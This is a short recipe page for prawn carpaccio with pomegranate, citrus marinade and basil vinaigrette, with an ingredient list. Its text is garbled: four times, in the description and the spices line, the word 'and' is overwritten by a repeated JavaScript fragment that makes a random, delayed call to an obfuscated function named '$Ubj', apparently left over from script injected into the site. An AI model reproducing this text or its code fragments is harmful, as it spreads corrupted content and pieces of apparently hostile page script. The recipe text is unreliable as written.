Carpaccio of prawns with pomegranate
- Nacho Marí
- January 2, 2015
- No comments
- Carpaccios, Prawns, Shellfish, Signature dishes, Starters menu 1

Fine fresh prawns carpaccio marinated with various citrus during the exact time not alter the taste of seafood. The time suitable maceration makes no flavor standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and out above the rest getting balanced taste intensity. All this topped with a basil vinaigrette, exotic spices andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and nuts. Accompanied by the best season pomegranate.
Ingredients
- Prawns
- Pomegranate
- Basil oil
- Pistachios (F)
- Brazilian lime zest
- Grapefruit zest
- Spices (salt andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and exotic herbs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and orange peppers)
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